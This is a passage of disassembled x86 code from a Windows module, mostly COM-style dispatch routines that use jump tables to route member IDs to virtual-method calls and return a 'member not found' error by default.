jmp short loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FE0C: ; CODE XREF: sub_69B3FD3B+15j
; DATA XREF: .text:off_69B3FE85o
mov edx, [ebp+arg_10] ; jumptable 69B3FD50 case 6
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
mov edx, [ebp+arg_8]
push dword ptr [edx+8]
push eax
call dword ptr [ecx+0C0h]
jmp short loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FE27: ; CODE XREF: sub_69B3FD3B+15j
; DATA XREF: .text:off_69B3FE85o
mov edx, [ebp+arg_10] ; jumptable 69B3FD50 case 7
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
mov edx, [ebp+arg_8]
push dword ptr [edx+8]
push eax
call dword ptr [ecx+0C4h]
jmp short loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FE42: ; CODE XREF: sub_69B3FD3B+15j
; DATA XREF: .text:off_69B3FE85o
mov eax, [ebp+arg_8] ; jumptable 69B3FD50 case 8
test byte ptr [eax+1], 40h
jz short loc_69B3FE52
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B3FE55
; ---------------------------------------------------------------------------
loc_69B3FE52: ; CODE XREF: sub_69B3FD3B+10Ej
mov ecx, [eax+8]
loc_69B3FE55: ; CODE XREF: sub_69B3FD3B+115j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0C8h]
jmp short loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FE6B: ; CODE XREF: sub_69B3FD3B+15j
; DATA XREF: .text:off_69B3FE85o
mov eax, [ebp+arg_0] ; jumptable 69B3FD50 case 9
mov ecx, [eax]
push eax
call dword ptr [ecx+0CCh]
jmp short loc_69B3FE7E
; ---------------------------------------------------------------------------
loc_69B3FE79: ; CODE XREF: sub_69B3FD3B+Fj
; sub_69B3FD3B+15j
; DATA XREF: ...
mov eax, 80020003h ; default
; jumptable 69B3FD50 case 1
loc_69B3FE7E: ; CODE XREF: sub_69B3FD3B+2Fj
; sub_69B3FD3B+52j ...
pop edi
pop esi
pop ebx
pop ebp
retn 18h
sub_69B3FD3B endp
; ---------------------------------------------------------------------------
off_69B3FE85 dd offset loc_69B3FD57 ; DATA XREF: sub_69B3FD3B+15r
dd offset loc_69B3FE79 ; jump table for switch statement
dd offset loc_69B3FD6F
dd offset loc_69B3FD92
dd offset loc_69B3FDC3
dd offset loc_69B3FDE3
dd offset loc_69B3FE0C
dd offset loc_69B3FE27
dd offset loc_69B3FE42
dd offset loc_69B3FE6B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3FEAD proc near ; DATA XREF: .data:69B98AF4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
add eax, 0FFFFFFFEh
cmp eax, 21h ; switch 34 cases
push esi
push edi
ja loc_69B40271 ; default
; jumptable 69B3FEC1 cases 3,18
jmp ds:off_69B4027C[eax*4] ; switch jump
loc_69B3FEC8: ; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 0
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+1Ch]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FEDD: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
cmp [ebp+arg_C], 2 ; jumptable 69B3FEC1 case 1
mov eax, [ebp+arg_0]
mov ecx, [eax]
jnz short loc_69B3FEF5
push [ebp+arg_10]
push eax
call dword ptr [ecx+20h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FEF5: ; CODE XREF: sub_69B3FEAD+3Aj
mov esi, [ebp+arg_8]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+24h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FF0A: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 2
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+28h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FF1F: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 4
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+2Ch]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FF34: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 5
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+30h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FF49: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 6
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+34h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FF5E: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 7
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+38h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FF73: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+3Ch]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FF88: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 9
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+40h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FF9D: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 10
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+44h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FFB2: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov eax, [ebp+arg_10] ; jumptable 69B3FEC1 case 11
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add eax, 8
push eax
mov eax, [ebp+arg_8]
sub esp, 10h
mov edi, esp
push dword ptr [eax+8]
lea esi, [eax+18h]
movsd
movsd
movsd
push ecx
movsd
call dword ptr [edx+48h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FFD9: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov eax, [ebp+arg_10] ; jumptable 69B3FEC1 case 12
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add eax, 8
push eax
mov eax, [ebp+arg_8]
push dword ptr [eax+20h]
push dword ptr [eax+8]
push ecx
call dword ptr [edx+4Ch]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B3FFF7: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 13
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
mov edx, [ebp+arg_8]
push dword ptr [edx+8]
push eax
call dword ptr [ecx+50h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40012: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 14
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
mov edx, [ebp+arg_8]
push dword ptr [edx+8]
push eax
call dword ptr [ecx+54h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B4002D: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 15
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+58h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40042: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 16
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+5Ch]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40057: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 17
test byte ptr [eax+1], 40h
jz short loc_69B40068
mov eax, [eax+8]
mov cx, [eax]
jmp short loc_69B4006E
; ---------------------------------------------------------------------------
loc_69B40068: ; CODE XREF: sub_69B3FEAD+1B1j
xor ecx, ecx
mov cx, [eax+8]
loc_69B4006E: ; CODE XREF: sub_69B3FEAD+1B9j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+60h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40084: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 19
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+64h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40099: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
cmp [ebp+arg_C], 2 ; jumptable 69B3FEC1 case 22
jnz short loc_69B400B5
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+68h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B400B5: ; CODE XREF: sub_69B3FEAD+1F1j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B400C3
mov eax, [eax]
loc_69B400C3: ; CODE XREF: sub_69B3FEAD+212j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+6Ch]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B400D2: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 20
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+70h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B400E7: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 21
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+74h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B400FC: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
cmp [ebp+arg_C], 2 ; jumptable 69B3FEC1 case 23
mov eax, [ebp+arg_0]
mov ecx, [eax]
jnz short loc_69B40114
push [ebp+arg_10]
push eax
call dword ptr [ecx+78h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40114: ; CODE XREF: sub_69B3FEAD+259j
mov esi, [ebp+arg_8]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+7Ch]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40129: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
cmp [ebp+arg_C], 2 ; jumptable 69B3FEC1 case 24
jnz short loc_69B40144
mov eax, [ebp+arg_0]
push [ebp+arg_10]
mov ecx, [eax]
push eax
call dword ptr [ecx+80h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40144: ; CODE XREF: sub_69B3FEAD+281j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B40152
mov eax, [eax]
loc_69B40152: ; CODE XREF: sub_69B3FEAD+2A1j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+84h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40164: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 25
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+88h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B4017C: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 26
test byte ptr [eax+1], 40h
jz short loc_69B4018C
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B4018F
; ---------------------------------------------------------------------------
loc_69B4018C: ; CODE XREF: sub_69B3FEAD+2D6j
mov ecx, [eax+8]
loc_69B4018F: ; CODE XREF: sub_69B3FEAD+2DDj
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+8Ch]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B401A8: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 27
test byte ptr [eax+1], 40h
jz short loc_69B401B8
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B401BB
; ---------------------------------------------------------------------------
loc_69B401B8: ; CODE XREF: sub_69B3FEAD+302j
mov ecx, [eax+8]
loc_69B401BB: ; CODE XREF: sub_69B3FEAD+309j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+90h]
jmp loc_69B40276
; ---------------------------------------------------------------------------
loc_69B401D4: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 28
test byte ptr [eax+1], 40h
jz short loc_69B401E4
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B401E7
; ---------------------------------------------------------------------------
loc_69B401E4: ; CODE XREF: sub_69B3FEAD+32Ej
mov ecx, [eax+8]
loc_69B401E7: ; CODE XREF: sub_69B3FEAD+335j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+94h]
jmp short loc_69B40276
; ---------------------------------------------------------------------------
loc_69B401FD: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 29
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+98h]
jmp short loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40212: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 30
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+9Ch]
jmp short loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40227: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 31
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0A0h]
jmp short loc_69B40276
; ---------------------------------------------------------------------------
loc_69B4023C: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov edx, [ebp+arg_10] ; jumptable 69B3FEC1 case 32
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0A4h]
jmp short loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40251: ; CODE XREF: sub_69B3FEAD+14j
; DATA XREF: .text:off_69B4027Co
mov eax, [ebp+arg_8] ; jumptable 69B3FEC1 case 33
mov ecx, [ebp+arg_0]
mov edx, [ecx]
sub esp, 10h
mov edi, esp
push dword ptr [eax+8]
lea esi, [eax+18h]
movsd
movsd
movsd
push ecx
movsd
call dword ptr [edx+0A8h]
jmp short loc_69B40276
; ---------------------------------------------------------------------------
loc_69B40271: ; CODE XREF: sub_69B3FEAD+Ej
; sub_69B3FEAD+14j
; DATA XREF: ...
mov eax, 80020003h ; default
; jumptable 69B3FEC1 cases 3,18
loc_69B40276: ; CODE XREF: sub_69B3FEAD+2Bj
; sub_69B3FEAD+43j ...
pop edi
pop esi
pop ebp
retn 18h
sub_69B3FEAD endp
; ---------------------------------------------------------------------------
off_69B4027C dd offset loc_69B3FEC8 ; DATA XREF: sub_69B3FEAD+14r
dd offset loc_69B3FEDD ; jump table for switch statement
dd offset loc_69B3FF0A
dd offset loc_69B40271
dd offset loc_69B3FF1F
dd offset loc_69B3FF34
dd offset loc_69B3FF49
dd offset loc_69B3FF5E
dd offset loc_69B3FF73
dd offset loc_69B3FF88
dd offset loc_69B3FF9D
dd offset loc_69B3FFB2
dd offset loc_69B3FFD9
dd offset loc_69B3FFF7
dd offset loc_69B40012
dd offset loc_69B4002D
dd offset loc_69B40042
dd offset loc_69B40057
dd offset loc_69B40271
dd offset loc_69B40084
dd offset loc_69B400D2
dd offset loc_69B400E7
dd offset loc_69B40099
dd offset loc_69B400FC
dd offset loc_69B40129
dd offset loc_69B40164
dd offset loc_69B4017C
dd offset loc_69B401A8
dd offset loc_69B401D4
dd offset loc_69B401FD
dd offset loc_69B40212
dd offset loc_69B40227
dd offset loc_69B4023C
dd offset loc_69B40251
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B40304 proc near ; CODE XREF: sub_69B59463+10p
; DATA XREF: .text:69B1254Co
var_10 = word ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
push esi
push edi
push [ebp+arg_8]
mov ecx, [eax]
sub esp, 10h
mov edi, esp
push [ebp+arg_4]
mov [ebp+var_10], 1
lea esi, [ebp+var_10]
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+48h]
pop edi
pop esi
leave
retn 0Ch
sub_69B40304 endp
; =============== S U B R O U T I N E =======================================
sub_69B40333 proc near ; CODE XREF: sub_69B422B4:loc_69B42330p
; sub_69B4DD27+4Fp ...
push esi
push 1
mov esi, ecx
call sub_69B490AC
mov ecx, esi
push eax
call sub_69B4A201
mov ecx, esi
push eax
call sub_69B4AAFC
pop esi
retn
sub_69B40333 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4034F proc near ; DATA XREF: .data:69B98EE8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
cmp eax, 0FFFFFFFCh
jz short loc_69B403D8
test eax, eax
jz short loc_69B403A3
cmp eax, 4Ah
jz short loc_69B40391
cmp eax, 4Ch
jz short loc_69B4037F
cmp eax, 4Dh
jz short loc_69B40374
mov eax, 80020003h
jmp short loc_69B403E8
; ---------------------------------------------------------------------------
loc_69B40374: ; CODE XREF: sub_69B4034F+1Cj
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
jmp short loc_69B403E8
; ---------------------------------------------------------------------------
loc_69B4037F: ; CODE XREF: sub_69B4034F+17j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+24h]
jmp short loc_69B403E8
; ---------------------------------------------------------------------------
loc_69B40391: ; CODE XREF: sub_69B4034F+12j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+20h]
jmp short loc_69B403E8
; ---------------------------------------------------------------------------
loc_69B403A3: ; CODE XREF: sub_69B4034F+Dj
cmp [ebp+arg_14], 1
jz short loc_69B403B0
mov eax, 8002000Eh
jmp short loc_69B403E8
; ---------------------------------------------------------------------------
loc_69B403B0: ; CODE XREF: sub_69B4034F+58j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B403C0
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B403C3
; ---------------------------------------------------------------------------
loc_69B403C0: ; CODE XREF: sub_69B4034F+68j
mov ecx, [eax+8]
loc_69B403C3: ; CODE XREF: sub_69B4034F+6Fj
mov eax, [ebp+arg_0]
mov edx, [eax]
push esi
mov esi, [ebp+arg_10]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+1Ch]
pop esi
jmp short loc_69B403E8
; ---------------------------------------------------------------------------
loc_69B403D8: ; CODE XREF: sub_69B4034F+9j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+2Ch]
loc_69B403E8: ; CODE XREF: sub_69B4034F+23j
; sub_69B4034F+2Ej ...
pop ebp
retn 18h
sub_69B4034F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B403EC proc near ; DATA XREF: .data:69B99068o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
cmp eax, 55h
push esi
push edi
jg loc_69B404F3
jz loc_69B404CA
cmp eax, 0FFFFFFFCh
jz loc_69B404B5
test eax, eax
jz short loc_69B4047C
cmp eax, 4Ah
jz short loc_69B40467
cmp eax, 53h
jz short loc_69B4043E
cmp eax, 54h
jnz loc_69B40501
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
mov edx, [ebp+arg_8]
push dword ptr [edx+8]
push eax
call dword ptr [ecx+20h]
jmp loc_69B40587
; ---------------------------------------------------------------------------
loc_69B4043E: ; CODE XREF: sub_69B403EC+2Cj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B4044E
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B40451
; ---------------------------------------------------------------------------
loc_69B4044E: ; CODE XREF: sub_69B403EC+59j
mov ecx, [eax+8]
loc_69B40451: ; CODE XREF: sub_69B403EC+60j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+1Ch]
jmp loc_69B40587
; ---------------------------------------------------------------------------
loc_69B40467: ; CODE XREF: sub_69B403EC+27j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+2Ch]
jmp loc_69B40587
; ---------------------------------------------------------------------------
loc_69B4047C: ; CODE XREF: sub_69B403EC+22j
cmp [ebp+arg_14], 1
jz short loc_69B4048C
mov eax, 8002000Eh
jmp loc_69B40587
; ---------------------------------------------------------------------------
loc_69B4048C: ; CODE XREF: sub_69B403EC+94j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B4049C
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B4049F
; ---------------------------------------------------------------------------
loc_69B4049C: ; CODE XREF: sub_69B403EC+A7j
mov ecx, [eax+8]
loc_69B4049F: ; CODE XREF: sub_69B403EC+AEj
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+28h]
jmp loc_69B40587
; ---------------------------------------------------------------------------
loc_69B404B5: ; CODE XREF: sub_69B403EC+1Aj
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+40h]
jmp loc_69B40587
; ---------------------------------------------------------------------------
loc_69B404CA: ; CODE XREF: sub_69B403EC+11j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B404DA
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B404DD
; ---------------------------------------------------------------------------
loc_69B404DA: ; CODE XREF: sub_69B403EC+E5j
mov ecx, [eax+8]
loc_69B404DD: ; CODE XREF: sub_69B403EC+ECj
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+24h]
jmp loc_69B40587
; ---------------------------------------------------------------------------
loc_69B404F3: ; CODE XREF: sub_69B403EC+Bj
sub eax, 57h
jz short loc_69B40557
dec eax
jz short loc_69B40525
dec eax
jz short loc_69B40513
dec eax
jz short loc_69B40508
loc_69B40501: ; CODE XREF: sub_69B403EC+31j
mov eax, 80020003h
jmp short loc_69B40587
; ---------------------------------------------------------------------------
loc_69B40508: ; CODE XREF: sub_69B403EC+113j
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+3Ch]
jmp short loc_69B40587
; ---------------------------------------------------------------------------
loc_69B40513: ; CODE XREF: sub_69B403EC+110j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+38h]
jmp short loc_69B40587
; ---------------------------------------------------------------------------
loc_69B40525: ; CODE XREF: sub_69B403EC+10Dj
mov eax, [ebp+arg_8]
test byte ptr [eax+19h], 40h
jz short loc_69B40535
mov ecx, [eax+20h]
mov edx, [ecx]
jmp short loc_69B40538
; ---------------------------------------------------------------------------
loc_69B40535: ; CODE XREF: sub_69B403EC+140j
mov edx, [eax+20h]
loc_69B40538: ; CODE XREF: sub_69B403EC+147j
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B40543
mov eax, [eax]
loc_69B40543: ; CODE XREF: sub_69B403EC+153j
mov edi, [ebp+arg_10]
mov ecx, [ebp+arg_0]
mov esi, [ecx]
add edi, 8
push edi
push edx
push eax
push ecx
call dword ptr [esi+34h]
jmp short loc_69B40587
; ---------------------------------------------------------------------------
loc_69B40557: ; CODE XREF: sub_69B403EC+10Aj
mov eax, [ebp+arg_8]
test byte ptr [eax+19h], 40h
jz short loc_69B40567
mov ecx, [eax+20h]
mov edx, [ecx]
jmp short loc_69B4056A
; ---------------------------------------------------------------------------
loc_69B40567: ; CODE XREF: sub_69B403EC+172j
mov edx, [eax+20h]
loc_69B4056A: ; CODE XREF: sub_69B403EC+179j
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B40575
mov eax, [eax]
loc_69B40575: ; CODE XREF: sub_69B403EC+185j
mov edi, [ebp+arg_10]
mov ecx, [ebp+arg_0]
mov esi, [ecx]
add edi, 8
push edi
push edx
push eax
push ecx
call dword ptr [esi+30h]
loc_69B40587: ; CODE XREF: sub_69B403EC+4Dj
; sub_69B403EC+76j ...
pop edi
pop esi
pop ebp
retn 18h
sub_69B403EC endp
; =============== S U B R O U T I N E =======================================
sub_69B4058D proc near ; DATA XREF: .text:69B14B88o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
cmp dword ptr [esi], 0
push edi
mov edi, ecx
mov ecx, [esp+8+arg_0]
push esi
jnz short loc_69B405A6
call sub_69B49F0B
jmp short loc_69B405AB
; ---------------------------------------------------------------------------
loc_69B405A6: ; CODE XREF: sub_69B4058D+10j
call sub_69B47DCC
loc_69B405AB: ; CODE XREF: sub_69B4058D+17j
cmp byte ptr [edi+18h], 0
jz short loc_69B405CE
jmp short loc_69B405CA
; ---------------------------------------------------------------------------
loc_69B405B3: ; CODE XREF: sub_69B4058D+3Fj
xor ecx, ecx
mov cl, [eax+0Bh]
and ecx, 1Fh
cmp ecx, [edi+1Ch]
jnz short loc_69B405CE
mov ecx, [esp+8+arg_0]
push esi
call sub_69B47DCC
loc_69B405CA: ; CODE XREF: sub_69B4058D+24j
test eax, eax
jnz short loc_69B405B3
loc_69B405CE: ; CODE XREF: sub_69B4058D+22j
; sub_69B4058D+31j
pop edi
pop esi
retn 8
sub_69B4058D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B405D3 proc near ; DATA XREF: .text:69B14C78o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, ecx
cmp dword ptr [edi+18h], 0Fh
mov ecx, [ebp+arg_0]
jnz short loc_69B405F9
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
push eax
